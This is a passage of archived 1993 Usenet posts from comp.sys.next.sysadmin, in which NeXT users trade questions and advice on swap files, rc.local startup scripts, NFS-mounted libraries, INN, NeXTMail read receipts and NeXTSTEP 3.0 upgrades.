From: wadlow@bela.music.washington.edu (John Wadlow) Newsgroups: comp.sys.next.sysadmin Subject: Help with Swapfiles Message-ID: <1j4iqoINN8s6@shelley.u.washington.edu> Date: 14 Jan 93 20:35:36 GMT Article-I.D.: shelley.1j4iqoINN8s6 Distribution: world Organization: University of Washington I hope this is the right place to post this. Does anyone know anything about swap files? Our Next computer's virtual memory (and disk space) gets filled up and the only way we know how to clear the swap files (in private/vm/swapfile) is to reboot. We do a lot with generating sound files and editing digital sound. Is there a program we can use that automatically clears this file every other day? Is there another way of clearing this file other than rebooting? Thanks note: we using system 2.0 (system 2.1 ?) for the NeXT john a wadlow jwad@u.washington.edu
Newsgroups: comp.sys.next.sysadmin From: zaphod@ctrg.rri.uwo.ca (Lance R. Bailey) Subject: Re: NeXT networking advice wanted... Organization: University of Western Ontario Distribution: na Date: Thu, 14 Jan 1993 21:23:26 GMT Message-ID: <1993Jan14.212326.4472@julian.uwo.ca> References: <1993Jan14.200048.11755@kakwa.ucs.ualberta.ca> Sender: news@julian.uwo.ca (USENET News System) In article <1993Jan14.200048.11755@kakwa.ucs.ualberta.ca> sherwood@space.ualberta.ca (System Administrator) writes: > >Don't do this. I don't know if they got rid of it in 3.0, but 2.x >machines won't boot with /NextLibrary on a non-local disk. > sorry, that's just plain wrong. all my 2.1 machines NFS mount the same /NextLibrary -- Lance R. Bailey System/Network Manager Robarts Research Institute NeXT/email: zaphod@ctrg.rri.uwo.ca box: Clinical Trials Resources Group fax: +1 519 663 3789 P.O. Box 5015, 100 Perth Dr. vox: +1 519 663 3787 x4108 London, Canada N6A 5K8 The moon only makes right turns.
Newsgroups: comp.sys.next.sysadmin From: mross@antigone.com Subject: Re: rc.local has me confused Message-ID: <1993Jan14.184638.3508@antigone.com> Organization: Antigone Press, San Francisco, CA, USA References: <1993Jan14.053105.235@znext.cts.com> Date: Thu, 14 Jan 1993 18:46:38 GMT james dehnert (zeke@znext) wrote: : I have a few things in my rc.local that I'd like to run but cant seem to make : happen. The first is just a sound, : # If all is well up to this point play the OK sound : if [ -f /LocalLibrary/Sounds/OK.snd ]; then : /usr/bin/sndplay /LocalLibrary/Sounds/OK.snd : else (echo 'sound not found') >/dev/console : fi : This used to work in 2.1, but it's a no go on 3.0. It wont even print the : error message. The second is a bit trickier. I have a program ( argus ) that : tells me when people log on and off my computer ( a bit more effeciently that : the tcsh method, which I also use ). I'd like to start it at boot time as root : and have it output to the console. I have tried variations of the following to : no avail, : # Run argus as root : if [ -f /usr/local/bin/argus ]; then : su root '/usr/local/bin/argus >/dev/console 2>&1' && \ : (echo 'argus') >/dev/console : fi : Any suggestions? Yes. I have had many problems too with rc.local and have found that most things that don't work as advertised will work if you: 1. Create a csh script with the commands, save them in a file and 2. Run the shell script from rc.local with /bin/csh As far as argus goes, you are missing the -c in the su command: su root -c '... And why are you su-ing root anyway? All rc scripts are executed as root. Good luck. -- Michael Ross Antigone Press, San Francisco, California e-mail: mross@antigone.com FAX: 1-415-431-3650
From: paterson@gdss.commerce.ubc.ca (Toby Paterson) Newsgroups: comp.sys.next.sysadmin Subject: Re: security Date: 14 Jan 1993 22:10:34 GMT Organization: The University of British Columbia Message-ID: <1j4ocqINN1ur@iskut.ucs.ubc.ca> References: <C0tpnu.K31@ux1.cso.uiuc.edu> Another point to be aware of is with respect to running X windows on the NeXT. The public domain versions of the X server require the /dev/vid0 device be made read/writeable to everyone. (I don't know about the commercial versions, though I strongly suspect this is the case with them too.) This has two drawbacks. Firstly, anyone can draw anything they want to all over your screen. This is little more than a nuisance. HMore importantly, however, NVRAM is accessed through the vid0 device. I believe only the root id can access NVRAM (or maybe its the owner of the vid0 device, which just happens to be root) regardless of these settings, but this is still a layer of protection stripped away. (Amongst other things, the hardware password is stored in NVRAM.) Or maybe I'm just paranoid :) X -- \\ / Who: Toby Paterson \\/ How: tpaterso@cs.ubc.ca, paterson@gdss.commerce.ubc.ca //\ What: Grunt and NeXT hacker; GDSS Fellowship // \ Where: University of British Columbia
From: steffi.demon.co.uk!root (Operator) Newsgroups: comp.sys.next.sysadmin,news.software.nntp Subject: INN on NeXT Date: 14 Jan 1993 22:45:26 -0000 Organization: me organised, that's a joke! Sender: root@steffi.demon.co.uk Distribution: world Message-ID: <1j4qe6INNbq@steffi.demon.co.uk> Has anybody had problems using INN on a NeXT. In particular problems with nntpget. nntpget will work fine for me only if I don't offer the articles to the local server when I do by specifying the -o option it just sits there and times out. When I specify the same information to newnews on port 119 of my host I get back a list of the headers that match my pattern. Why oh Why doesn't nntpget suck this headers up when it reads them? This is the nntpget line I am using /bin/su news -c "/usr/local/news/bin/nntpget -n comp.sys.next.misc -t $DATE -o n ews.demon.co.uk" where DATE='"930111 000000"' Those who know INN is it suited for SLIP connections? I keep timing out with my host when nntpgetting. I am rapidly losing patience with it. Cheers.
From: matthews@oberon.umd.edu (Mike Matthews) Newsgroups: comp.sys.next.sysadmin Subject: Re: security Message-ID: <17971@umd5.umd.edu> Date: 14 Jan 93 23:59:05 GMT References: <1993Jan14.101109.516@otago.ac.nz> <1j2i8m$3im@agate.berkeley.edu> Sender: news@umd5.umd.edu Organization: Los Alamos National Laboratory, NM In article <1j2i8m$3im@agate.berkeley.edu> izumi@pinoko.berkeley.edu writes: [true stuff about Public Window Server munched] >The problem is compounded by the facts: >(1) Public Window Server setting is controlled by each user. > Sysadmin can only warn users to minimize its use. You can disable it completely. Under NeXTstep 2.x, just go into the .nib file for the Expert Preferences field and remove the buttons. Under 3.0, niutil -createprop / / security_options discourage_public_servers. Then, for the piece de resistance, put the following into your Login Hook code: su $1 -c 'dwrite System PublicWindowServer NO' (might want to get the PublicSoundSever there too, which will completely disable it as that won't take effect until you log out and back in) so whenever they log in it gets turned off (if they do a dwrite they can make it so that it'll be enabled next time they log in, but if the loginhook turns it back off again...). >(2) There is no fine-grain access control for remote access to > the WindowServer. All or none switch is just not > acceptable. True. >So, if you are buying NeXTs in quantity, press NeXT to do something >about it. Good luck. >Izumi Ohzawa ------ Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted) ------ "And what will you do when you grow up to be as big as me?" asked the father of his little son. "Diet."
From: shuque@spectre.sas.upenn.edu (Shumon Huque) Newsgroups: comp.sys.next.sysadmin Subject: Re: NeXT networking advice wanted... Message-ID: <104933@netnews.upenn.edu> Date: 14 Jan 93 23:26:31 GMT References: <1993Jan14.200048.11755@kakwa.ucs.ualberta.ca> <1993Jan14.212326.4472@julian.uwo.ca> Sender: news@netnews.upenn.edu Distribution: na Organization: University of Pennsylvania In article <1993Jan14.212326.4472@julian.uwo.ca> zaphod@ctrg.rri.uwo.ca writes: >>Don't do this. I don't know if they got rid of it in 3.0, but 2.x >>machines won't boot with /NextLibrary on a non-local disk. >> >sorry, that's just plain wrong. all my 2.1 machines NFS mount the same >/NextLibrary > >-- >Lance R. Bailey System/Network Manager Robarts Research Institute I have mounted /NextLibrary from a remote machine too, and it works fine most of the time. The only problem is when the NFS server goes down, and you reboot the client machine, the login window does not appear as it cannot find /NextLibrary/Fonts. Is it recommended practice to mount /NextLibrary? Shumon Huque shuque@spectre.sas.upenn.edu
Newsgroups: comp.sys.next.sysadmin From: gmk@pegasos.ccsr.uiuc.edu (Gottfried Mayer-Kress) Subject: Mail Address files? Message-ID: <C0vDHw.CvJ@news.cso.uiuc.edu> Sender: usenet@news.cso.uiuc.edu (Net Noise owner) Organization: University of Illinois at Urbana Date: Fri, 15 Jan 1993 00:32:18 GMT I would like to import larger files into my NeXT Mail address list. I cannot find where that file is located and how I could access/edit it. Do I really have to put in every address by hand? -- Gottfried Mayer-Kress Center for Complex Systems Research, Department of Physics 3025 Beckman Institute, 405 N Mathews, Urbana, Il 61801 gmk@pegasos.ccsr.uiuc.edu (NeXT-Mail) gmk@goshawk.lanl.gov, gmk@santafe.edu (217)-244-5877 (voice/fax modem),x8371(fax), x1994 (msg)
Newsgroups: comp.sys.next.sysadmin Subject: How to get a recycler on new hard disk Message-ID: <1993Jan15.133051.528@otago.ac.nz> From: athomson@otago.ac.nz (Alastair Thomson) Date: 15 Jan 93 13:30:51 +1300 Organization: University of Otago, Dunedin, New Zealand First of all thanks to all those that answered my previous post about the automounter problem. I still have one small problem: How do I get a recycler on the new disk? -- =============================================================================== | Alastair Thomson, | Phone +64-3-479-8347 University of Otago, | Fax +64-3-479-8529 Department of Computer Science, | e-mail athomson@otago.ac.nz P.O. Box 56 | Dunedin | New Zealand | "God loved the world so much, that he gave us His Son, to die in our place, so that we may have eternal life" John 3:16, paraphrase ===============================================================================
From: lpratt@slate.mines.colorado.edu (Lorien Pratt) Newsgroups: comp.sys.next.sysadmin Subject: How do I set up my next for anonymous ftp? Message-ID: <1993Jan14.231759.40483@slate.mines.colorado.edu> Date: 14 Jan 93 23:17:59 GMT Sender: lpratt@slate.mines.colorado.edu (Lorien Pratt) Organization: Colorado School of Mines The subject line says it all -- could somebody please tell me how to set up anonymous ftp on my next? thanks! --Lori -- L. Y. Pratt Dept. of Math and Computer Science lpratt@franklinite.mines.colorado.edu Colorado School of Mines (303) 273-3878 (work) 402 Stratton (303) 278-4552 (home) Golden, CO 80401, USA
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin From: jdyer.wbst129@xerox.com (John D. Dyer) Subject: Trouble upgrading to 3.0 Message-ID: <1993Jan14.174441.13524@spectrum.xerox.com> Keywords: 3.0,upgrade,help Sender: news@spectrum.xerox.com Organization: Xerox Corporation, Webster NY Date: Thu, 14 Jan 1993 17:44:41 GMT Well, I'm probably one of the last NeXT users to 'try' to upgrade, and I'm having much difficulty. Here's my current configuration: NeXTStation Mono 040 400 Meg Hard Drive, 130 Megs free Release 2.0 (current) NeXT CD-ROM Drive/3.0 bundle Installing the software from the Tools floppy is no problem. After the CD-ROM shows up in the Workspace Manager, I access it. I then double click on the 3.0upgrade.app (sp?). I choose Update, and then Edit Plan since I want to keep some things the way they were (my uucp config files for example). While updating it says "Writing the control file to disk". The gauge starts moving to the right. After a while one of two things happens: the upgrade.app terminates in the middle of writing the control file, or the entire machine locks up, and I have to do a reboot from the monitor. Has anyone seen this happen before. My apologies if this is in a faq somewhere, but I haven't been able to read the news lately. If anyone can give me any information, I will be forever indebted. Please email at jdyer.wbst129@xerox.com Thanks in advance. John Dyer
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: NeXT networking advice wanted... Message-ID: <C0vHGB.7CH@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <1993Jan14.200048.11755@kakwa.ucs.ualberta.ca> <1993Jan14.212326.4472@julian.uwo.ca> <104933@netnews.upenn.edu> Distribution: na Date: Fri, 15 Jan 1993 01:57:32 GMT shuque@spectre.sas.upenn.edu (Shumon Huque) writes: >In article <1993Jan14.212326.4472@julian.uwo.ca> zaphod@ctrg.rri.uwo.ca writes: >>>Don't do this. I don't know if they got rid of it in 3.0, but 2.x >>>machines won't boot with /NextLibrary on a non-local disk. >>> >>sorry, that's just plain wrong. all my 2.1 machines NFS mount the same >>/NextLibrary >> >I have mounted /NextLibrary from a remote machine too, and it works fine >most of the time. The only problem is when the NFS server goes down, and >you reboot the client machine, the login window does not appear as it >cannot find /NextLibrary/Fonts. Is it recommended practice to mount >/NextLibrary? I do. But I make sure that /NextLibrary/Keyboards and /NextLibrary/Fonts are truly existant on the local hard disk. If you get rid of /NextLibrary/References and /NextLibrary/Documentation, that eliminates most of the disk space taken up, and you can still boot locally if you need to rebuild. BTW, mounting /NextLibrary will likely be a fairly large hit on your servers since things like Fonts and Keyboards are consulted often. (However, I have one server serving >50 machines with the entire extended OS and it's a testament to the robustness of NeXT's nfs code... If you're interested in what a 32 MB cube can do, mail me and I'll make a list of what one server is doing... your eyes would pop out of your head... low budgets create innovative solutions :-) -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: wade@hobbes.ucsd.edu (Wade Blomgren) Newsgroups: comp.sys.next.sysadmin Subject: How to change language (loginwindow) Date: 15 Jan 1993 01:45:29 GMT Organization: University of California, San Diego Message-ID: <1j54vpINN53i@network.ucsd.edu> A user got to one of our turbo slabs that had just been upgraded to 3.0 before we did, and mischievously set the language and keyboard to French instead of the desired English, in the configuration application that comes up on the first reboot after a 3.0 install. I managed to find the right keys on the keyboard to feed in the root password and get in, and I changed the root prefs to USA keyboard and English, and now it seems if the average user logs in s/he gets an English environment, but the loginwindow is still in French. I rdist'd /.NeXT and /usr/lib/NextStep from a machine configured for English and rebooted but the login window is still in French. No other likely files presented themselves in an rdist comparison of the tow machines. Suggestions on how to force the language back to English would be most welcome. Wade Blomgren wade@hobbes.ucsd.edu
Newsgroups: comp.sys.next.sysadmin From: serge@dadofsam.Princeton.EDU Subject: How do we get a NeXT to imbed fonts in print jobs? Message-ID: <1993Jan14.212518.5362@Princeton.EDU> Originator: news@nimaster Keywords: fonts print printers postscript Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University Date: Thu, 14 Jan 1993 21:25:18 GMT How do we get a NeXT to imbed fonts, where needed, in the postscript which it sends to a print server? Our NeXTs operate in a heterogeneous environment; our current print server happens to be a Sun. As I understand it, under NS 3.0, a NeXT does not imbed fonts in it's postscript output ... instead, it imbeds comments which document the needed fonts. If the print server happens to be a NeXT running NS 3.0, then these comments are processed by an lpd filter, which causes the right thing to happen (the printer's .ppd file is read, and any needed fonts are included with the postscript sent to the printer). If the print server is not a NeXt, too bad ... instead of Dragonwick, you get Courier! Our NeXT users are understandably less than satisfied with this situation, as are we. We know about the work-around of "saving" the print image to a file ("save" gives you the option of saving with fonts), but we'd like to come up with something a little more elegant. NeXT has hinted at a solution in the next release ... does anyone have a current solution? Serge J. Goldstein
From: rsalz@rodan.UU.NET (Rich Salz) Newsgroups: comp.sys.next.sysadmin,news.software.nntp,news.software.nntp Subject: INN1.3 will be released soon Date: 14 Jan 1993 21:52:22 -0500 Organization: UUNET Technologies Inc, Falls Church, VA Distribution: inet Message-ID: <1j58t6INN271@rodan.UU.NET> References: <1j4qe6INNbq@steffi.demon.co.uk> {I removed Distribution: world -- that is a bogus distribution.} In <1j4qe6INNbq@steffi.demon.co.uk> steffi.demon.co.uk!root (Operator) writes: >Has anybody had problems using INN on a NeXT. In particular problems with >nntpget. nntpget is broken; it is fixed in INN1.3. I hope to release 1.3 on Wednesday. I would have liked to release it sooner, but a series of personal events and work commitments reduced the time I had available to work on it. /r$
From: mark@cyantic.com (Mark T. Dornfeld) Newsgroups: comp.sys.next.sysadmin Subject: Re: rc.local has me confused Message-ID: <1993Jan14.231935.11050@cyantic.com> Date: 14 Jan 93 23:19:35 GMT References: <1993Jan14.053105.235@znext.cts.com> Organization: CYANTIC Systems In article <1993Jan14.053105.235@znext.cts.com> zeke@znext.cts.com writes: > I have a few things in my rc.local that I'd like to run but cant seem to make >happen. The first is just a sound, > ># If all is well up to this point play the OK sound >if [ -f /LocalLibrary/Sounds/OK.snd ]; then > /usr/bin/sndplay /LocalLibrary/Sounds/OK.snd > else (echo 'sound not found') >/dev/console >fi > > This used to work in 2.1, but it's a no go on 3.0. It wont even print the >error message. The second is a bit trickier. I have a program ( argus ) that >tells me when people log on and off my computer ( a bit more effeciently that >the tcsh method, which I also use ). I'd like to start it at boot time as root >and have it output to the console. I have tried variations of the following to >no avail, > ># Run argus as root >if [ -f /usr/local/bin/argus ]; then > su root '/usr/local/bin/argus >/dev/console 2>&1' && \ > (echo 'argus') >/dev/console >fi > I lost the functionality of rc.local when I upgraded to 3.0 and haven't had the time to find out what went wrong. Please post responses to this group, since this may be a common problem that many people don't know about. -- Mark T. Dornfeld Voice: (416) 234-9048 CYANTIC Systems Facsimile: (416) 234-0477 101 Subway Crescent Suite 2103 Email: mark@cyantic.com
Newsgroups: comp.sys.next.sysadmin From: chwe@chwe1.spc.uchicago.edu (Michael Suk-Young Chwe) Subject: Help! Installing 3.0 on external HD--Solved! Message-ID: <1993Jan14.180055.16478@midway.uchicago.edu> Sender: news@uchinews.uchicago.edu (News System) Organization: University of Chicago Computing Organizations Date: Thu, 14 Jan 1993 18:00:55 GMT Dear comp.sys.next 'ers, Thank you for the responses you sent me when I put up my original post about a week ago. My problem was how to get my external Fujitsu 1G (M2266SA) drive to work as a bootup drive under 3.0. I finally found out what to do by looking at the FAQs, which referred me to a file fujitsu.recipe, written by Izumi Ohzawa and located at the public FTP site sonata.cc.purdue.edu in /pub/next/docs. This note was written for systems 1.0 and 2.0/2.1 but its advice was valuable for me--all I had to do was to remove two jumpers (as detailed in fujitsu.recipe). Now my Fujitsu external HD works great as a boot device and I am ready to face new 3.0 problems :) Although I don't understand why my Fujitsu worked as a boot drive under 2.1 (this is how I had used it before getting 3.0) without the right jumpers removed, it seems to work now. I would like to thank again everyone who helped me and especially Mr. Ohzawa. I guess it also shows that looking at the FAQs never hurts and sometimes old solutions are the best ones. Sincerely, Michael Chwe Economics Department U of Chicago
From: Michael.B..Johnson@f236.n104.z1.FIDONET.ORG (Michael B. Johnson) Newsgroups: comp.sys.next.sysadmin Subject: CDPLAYER.APP PROBLEMS Message-ID: <141937.2B562455@paranet.FIDONET.ORG> Date: 13 Jan 93 19:36:00 GMT Sender: ufgate@paranet.FIDONET.ORG (newsout1.26) Organization: FidoNet node 1:104/236 - MacCircles, Genesee CO -- Michael B. Johnson - via ParaNet node 1:104/422 UUCP: !scicom!paranet!User_Name INTERNET: Michael.B..Johnson@f236.n104.z1.FIDONET.ORG
From: sfch@dmu.ac.uk (Simon Harwood) Newsgroups: comp.sys.next.sysadmin Subject: Re: no email confirmation Message-ID: <1993Jan15.100503.9452@dmu.ac.uk> Date: 15 Jan 93 10:05:03 GMT References: <PJg=wy+@engin.umich.edu> Organization: De Montfort University, Leicester, UK. In article <PJg=wy+@engin.umich.edu> dcheslow@impact.flint.umich.edu (David A. Cheslow) writes: >Having two (possibly related) problems with NeXTMail. > >1) No receipt is ever received (I request a read receipt, the addressee >reads the message, but I never get a receipt). > The way that NeXTMail works the Read Recipt is by adding an extention of .RR to the message ID. It works like this... Message Id: <host.somedomain@number.number> or Message Id: <number.number@host.somedomain> Will NOT give a Read Recipt. Message Id: <host.somedomain@number.number.RR> or Message Id: <number.number.RR@host.somedomain> WILL give a Read Recipt, but ONLY when read using NeXTMail. Simon.. -- Simon Harwood, Research Technician, Phone: +44 (0) 533 551551 x7915 De Montfort University, The Gateway, Fax : +44 (0) 533 577574 LEICESTER, LE1 9BH UK. E-mail: sfch@uk.ac.dmu (JANET), sfch@dmu.ac.uk (Internet)
From: bostrov@flop.ENGR.ORST.EDU (Vareck Bostrom) Newsgroups: comp.sys.next.sysadmin Subject: Always make backups Date: 15 Jan 1993 03:08:38 -0800 Organization: College of Engineering, Oregon State University Distribution: usa Message-ID: <1j65vmINN5ns@flop.ENGR.ORST.EDU> Last night, LATE last night, I decided it was time to upgrade my Nextstep 2.1 Cube to 3.0, something I had been putting off for a long time. Well, I've got an old segate 660MB disk in my cube, which was partitioned into two 330-ish MB sections. Well, I never liked that (always ran out o swap space) so I thought I'd use the upgrade as an excuse to repartition my disk to one partition. FIRST, I thought, I'll save everything important...and of most importance, THE MOST IMPORTANT DIRECTORY TREE I HAD: ~bostrov/Work (yes, even more important than ~bostrov/images/nudewomen) I tarred up the directory and moved it to my NSTC which reciently moved into my life.. thinking myself safe from any boogie monster the 3.0 CD ROM disk might have on it, I proceded with the upgrade -- actually a reformat and rebuild of the disk, in my case. Well, I finished that, installed all of the software packages that were on the 3.0 Disk (meanwhile reading most of Mac Beth and Henery V -- I suspect that the reason NeXT includes the Literature section is to keep NeXT owners occupied while the Installer churns happily away in it's own little world) Finally, the 3.0 Install was complete! I was happy. I set up netinfo between my two NeXTs and reinstalled my account - and now it was time to restore my software. First, I moved all the tar files back to the cube, in my home directory and then i started typing: tar -xvf bostrov.src.tar ; rm bostrov.src.tar tar -xvf bostrov.etc.tar ; rm bostrov.etc.tar and so on, and everything worked fine until I got to the second to last directory, the most important one, at which I typed: rm bostrov.Work.tar ; tar -xvf bostrov.Work.tar About two milliseconds after my finger touched the return key had i realized what I had done. Without a backup. 40 Megabytes of work, programming, two years of school homework assignments, and so on, down the drain. Sigh. I buried my head in my hands and wept, taking just enough time to clean up the tar files I hadn't removed yet: rm *tar Two milliseconds later i realized I had not untarred my images yet... Sigh. So, I have this disk, is it possible to un-rm a file? - bostrov bostrov@engr.orst.edu
Newsgroups: comp.sys.next.sysadmin From: zaphod@ctrg.rri.uwo.ca (Lance R. Bailey) Subject: Re: no email confirmation Organization: University of Western Ontario Distribution: na Date: Fri, 15 Jan 1993 12:02:00 GMT Message-ID: <1993Jan15.120200.1982@julian.uwo.ca> References: <1993Jan15.100503.9452@dmu.ac.uk> Sender: news@julian.uwo.ca (USENET News System) In article <1993Jan15.100503.9452@dmu.ac.uk> sfch@dmu.ac.uk (Simon Harwood) writes: >In article <PJg=wy+@engin.umich.edu> dcheslow@impact.flint.umich.edu (David A. Cheslow) writes: > The way that NeXTMail works the Read Recipt is by adding an >extention of .RR to the message ID. It works like this... >Message Id: <host.somedomain@number.number> >or >Message Id: <number.number@host.somedomain> > Will NOT give a Read Recipt. > >Message Id: <host.somedomain@number.number.RR> >or >Message Id: <number.number.RR@host.somedomain> that is not my experience. here are the headers from two messages, one with ReadRecipt checked and one without: without a read receipt requested: From lrb@ctrg.rri.uwo.ca Fri Jan 15 06:41 EST 1993 From: "Lance R. Bailey" <lrb@ctrg.rri.uwo.ca> Message-Id: <9301151141.AA01284@cupoftea.ctrg.rri.uwo.ca> Date: Fri, 15 Jan 93 06:41:35 GMT-0500 Received: by NeXT Mailer (1.63) To: lrb@ctrg.rri.uwo.ca Subject: no reciept Status: O with: From lrb@ctrg.rri.uwo.ca Fri Jan 15 06:41 EST 1993 From: "Lance R. Bailey" <lrb@ctrg.rri.uwo.ca> Message-Id: <9301151141.AA01283@cupoftea.ctrg.rri.uwo.ca> Date: Fri, 15 Jan 93 06:41:36 GMT-0500 Received: by NeXT Mailer (1.63.RR) To: lrb@ctrg.rri.uwo.ca Subject: receipt Status: O notice that the Message-Id: are the same, save for the PID. without: Message-Id: <9301151141.AA01284@cupoftea.ctrg.rri.uwo.ca> with : Message-Id: <9301151141.AA01283@cupoftea.ctrg.rri.uwo.ca> in fact the RR is in the Received: line: without: Received: by NeXT Mailer (1.63) with: Received: by NeXT Mailer (1.63.RR) -- Lance R. Bailey System/Network Manager Robarts Research Institute NeXT/email: zaphod@ctrg.rri.uwo.ca box: Clinical Trials Resources Group fax: +1 519 663 3789 P.O. Box 5015, 100 Perth Dr. vox: +1 519 663 3787 x4108 London, Canada N6A 5K8 I took a physics course that was so hard I couldn't find the classroom--Connely
Newsgroups: comp.sys.next.sysadmin From: mib@bio128.uni-bielefeld.de (Michael Bruewer) Subject: Re: symbolic links to different local hard disk? Sender: news@hermes.hrz.uni-bielefeld.de (News Administrator) Message-ID: <C0wJK0.3u3@hermes.hrz.uni-bielefeld.de> Date: Fri, 15 Jan 1993 15:40:48 GMT References: <1j20phINNap7@stimpy.css.itd.umich.edu> Organization: Universitaet Bielefeld, Rechenzentrum In article <1j20phINNap7@stimpy.css.itd.umich.edu> danno@css.itd.umich.edu (Daniel T. Pritts) writes: > In article <1993Jan9.021146.6886@pellns.alleg.edu> sunthej@alleg.edu > (Jake Blues) writes: > > > > > Q- On the network we have several NFS servers and over two hundred > > cubes/stations, each with a local hard-drive. Due to storage > > considerations, there are certain applications that are kept on > certain > > local drives that are not kept on others (ie, mathematica is not > kept on > > every computer). > You could only do this if you exported (via NFS) the disks of the > machines you wanted to act as the servers. > > Why not just put Mathematica on your NFS server? Oh, I suppose MMa's > licensing scheme doesn't like that. Perhaps Wolfram has a > NFS-Mountable version of MMa? Knowing them probably not but you > never know. > -- > dan pritts consultant/system administrator We have MMa 2.02 installed on a NFS server and it works fine. _________________________________________________________________ Michael Bruewer e-mail: mib@bio128.uni-bielefeld.de Universitaet Bielefeld
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin From: pmelo@pombo.inescc.pt (Paulo Melo) Subject: Archive Viper 2525 25462 and NextStation Turbo Message-ID: <1993Jan15.175254.1612@pombo.inescc.pt> Followup-To: poster Summary: looking for help with a tape drive Keywords: help, Tape drive, NeXTSTEP 3.0 Organization: INESC - Nucleo de Coimbra Date: Fri, 15 Jan 1993 17:52:54 GMT Hi. I recently bought a NeXTStation Turbo, and it came with NeXTStep 3.0. As I am trying to make it our mail and news server (for a small lan), I also bought (not from Next) an external disk and a tape drive Archive Viper 2525. All is well with the disk (automatic disk initalization works very well), but I cannot seem to make the tape work, although the control commands seem to work (i.e, "mt rew", "mt fsf", all work, but "tar", "dd" and the likes don't). I read in NextAnswers (QA762) it could be something to do with the use of variable vs. fixed block sizes, but "dd" with fixed blocksize or using the ioctl call MTIOCFIXBLK didn't work (other error, but this time sense key 0, instead of 5). So, I am asking here if anyone has experienced the same kind of errors I have, and if there is a workaround... The problem is not in the tape, as it works well with a DECStation we have here. Please reply by mail, I will summarize in comp.sys.next.hardware the answers I get. Thanks in advance. Paulo Melo -- Paulo Melo | "once again the sound of crying pmelo@inescc.pt | is #1 across the earth..." Prefab Sprout
Newsgroups: comp.sys.next.sysadmin From: kpl@elisir.helsinki.fi (Kai Lassfolk) Subject: Reverse page ordering with NeXTprinter & lpd Message-ID: <1993Jan15.165924.2037@klaava.Helsinki.FI> Sender: news@klaava.Helsinki.FI (Uutis Ankka) Organization: University of Helsinki Date: Fri, 15 Jan 1993 16:59:24 GMT How can I create an lrp queue that prints pages in "reverse" order using a NeXTprinter? I mean that I want page 1 to come out first, page 2 second etc. which is the opposite from the default operation. I need a separate lpr queue for this, because I want reverse page ordering only when printing from a remote lpr client. I want Local_Printer to print pages in default ordering. -- ------------------------------------------------------------------ Kai Lassfolk || Internet: kpl@elisir.helsinki.fi || (NeXTmail accepted) Department of Musicology || P.O. Box 35 (Vironkatu 1) || Telephone: +358-0-1917871 (office) 00014 University of Helsinki || +358-0-4554420 (home)
Newsgroups: comp.sys.next.sysadmin From: thorson@typhoon.atmos.colostate.edu (Bill Thorson) Subject: Possible problems; need help Sender: news@yuma.ACNS.ColoState.EDU (News Account) Message-ID: <Jan15.182950.91436@yuma.ACNS.ColoState.EDU> Date: Fri, 15 Jan 1993 18:29:50 GMT Organization: Colorado State University -- Atmos Sci I have a NeXTStation with only 8 megs that I upgraded to 3.0 and am now experiencing problems. I realize that this machine might be a little slow but since it's only used for reading mail and some light typing I thought that 8 megs and 3.0 might not be too bad. What happens is that when a app get's launched the machine sometimes sits there for up to 5 minutes doing nothing before the window comes up. The pointer is the little spiny disk and you can't use the machine at all. This even happens sometimes when the Workspace app is being launched on bootup. I need advice! Well, I went looking around and discovered a possible problem in /usr/adm/messages. It looks like disk problems. This message is only in there every couple days or so. I also noticed that there is an error from the automounter. Maybe it's slowing down the machine trying to do something stupid. Here are the errors when I was playing with it yesterday: Jan 14 16:26:18 climo reboot: Reboot complete Jan 14 16:26:34 climo mach: audio kernel server initialized Jan 14 16:26:47 climo syslog: Workspace logged in Jan 14 16:28:06 climo mach: sd0 (1,0): ERROR op:0x28 sd_state:4 scsi status:0x0 Jan 14 16:28:06 climo mach: sd0 (1,0): sense key:0x5 additional sense code:0x24Jan 14 16:28:06 climo mach: SCSI Block in error = 0 (front porch) Jan 14 16:29:11 climo mach: sd0 (1,0): scsi_timer: timeout op:0x28 sd_state:0 scsi status:0x0 ... Jan 14 16:36:06 climo reboot: Reboot complete Jan 14 16:36:23 climo mach: audio kernel server initialized Jan 14 16:36:50 climo syslog: Workspace logged in Jan 14 16:37:07 climo mach: sd0 (1,0): ERROR op:0x28 sd_state:4 scsi status:0x0 Jan 14 16:37:07 climo mach: sd0 (1,0): sense key:0x5 additional sense code:0x24Jan 14 16:37:07 climo mach: SCSI Block in error = 0 (front porch) Jan 14 16:38:11 climo mach: NFS server (autonfsmount[84]) not responding still trying Jan 14 16:38:11 climo mach: sd0 (1,0): scsi_timer: timeout op:0x28 sd_state:0 scsi status:0x0 Jan 14 16:38:11 climo mach: NFS server (autonfsmount[84]) ok Jan 14 16:39:11 climo -[145]: loginwindow: Workspace exited ts 0 cd 0 rc 0 sv 0 ss 0. Thanks, -- #!/bin/sh #-----------------------------------------------------------------------# echo Bill Thorson thorson@typhoon.atmos.colostate.edu echo Dept of Atmospheric Science +1 303 491-8339 echo Colorado State University echo Ft. Collins, CO 80523 #-----------------------------------------------------------------------#
From: isbell@cats.ucsc.edu (Art Isbell) Newsgroups: comp.sys.next.sysadmin Subject: Re: rc.local has me confused Message-ID: <1j705mINNm2i@darkstar.UCSC.EDU> Date: 15 Jan 93 18:35:34 GMT References: <1993Jan14.053105.235@znext.cts.com> <1993Jan14.231935.11050@cyantic.com> Organization: Cubic Solutions - NeXT software development and consulting I run 1 executable and 1 Bourne shell script from rc.local that I also ran in 2.1. I've added another executable since. The only problem I had with rc.local after upgrading was that the executable, /usr/etc/nppower, required a few more seconds of "sleep" before executing in order to turn off the printer. My Bourne shell script has continued to work contrary to the posted contention that only C shell scripts work from rc.local. I don't assume a very extensive PATH or much else from the environment when rc.local runs, so this might be why I haven't had the problems others have reported. Another reason that I have had almost no upgrade-related problems may be because I have tried very hard to maintain the default set-up that NeXT provides. I rarely change permissions (I'm run a standalone, so I don't have network-related security problems), I leave the file structure as NeXT delivered, I don't add any files to directories that NeXT will upgrade unless I absolutely must do so, etc. So my upgrade process probably went better than for systems that have been extensively modified (just imagine how difficult it must be to write an upgrade application that can deal with any sort of modification imaginable). I don't come with a lot of past Unix sysadmin experience, so I 